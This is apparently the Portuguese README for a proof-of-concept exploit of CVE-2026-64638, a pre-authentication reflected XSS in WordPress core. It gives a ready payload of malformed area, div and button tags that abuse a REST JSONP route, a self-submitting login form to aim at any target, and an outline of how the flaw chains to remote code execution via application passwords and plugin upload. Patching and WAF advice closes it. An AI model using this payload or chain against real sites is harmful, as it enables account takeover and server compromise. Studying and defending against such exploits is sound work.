XSS2Shell Alerta PoC (CVE-2026-64638)

Prova de Conceito de XSS Refletido Pré-Autenticação no WordPress

Prova de conceito em HTML de arquivo único para o XSS por diferença de parser CVE-2026-64638 (XSS2Shell) no núcleo do WordPress. Demonstra a execução de JavaScript sem autenticação na origem do WordPress por meio de uma requisição de login forjada.

Informações da Vulnerabilidade

• CVE: CVE-2026-64638 (XSS2Shell)
• Tipo: XSS Refletido Pré-Autenticação (diferença de parser: strip_tags() vs wp_kses_post())
• Escalonamento: Pode ser encadeado até RCE (DOM clobbering → REST JSONP → SOME → Senha de Aplicativo → upload de plugin)
• Versões afetadas: WordPress 6.4 – 7.0.2 (faixa praticamente explorável)
• Corrigido: WordPress 7.0.3 (com backport para as branches mantidas até a 4.7)

Uso

1. Abra o POC.html em um editor de texto.
2. Substitua http://TARGET/wp-login.php no action do formulário pelo seu alvo.

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. Abra o arquivo em um navegador. O formulário é enviado automaticamente; se o alvo for vulnerável, um popup de confirm() (ou alert()) é disparado na origem do WordPress.

Payload do PoC

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

O espaço após cada < é o exploit. Sem ele, wp_strip_all_tags() remove tudo.

Requisitos

• Uma instalação do WordPress vulnerável (6.4 – 7.0.2, sem patch)
• Um navegador com JavaScript habilitado
• Nenhuma dependência de ferramentas (HTML puro)

Detecção / Mitigação

• Atualize para o WordPress 7.0.3 ou uma branch corrigida.
• Revogue/rotacione todas as Senhas de Aplicativo existentes após a aplicação do patch.
• Bloqueie padrões de %3C + espaço em branco no campo log no WAF/edge.
• Monitore requisições POST /wp-login.php em que log contenha um < codificado.

Referências

• pwn.ai — XSS2Shell: cadeia de XSS pré-autenticação a RCE no WordPress
• Lançamento do WordPress 7.0.3
• Hadrian — análise do CVE-2026-64638
• IONSEC — análise técnica do XSS2Shell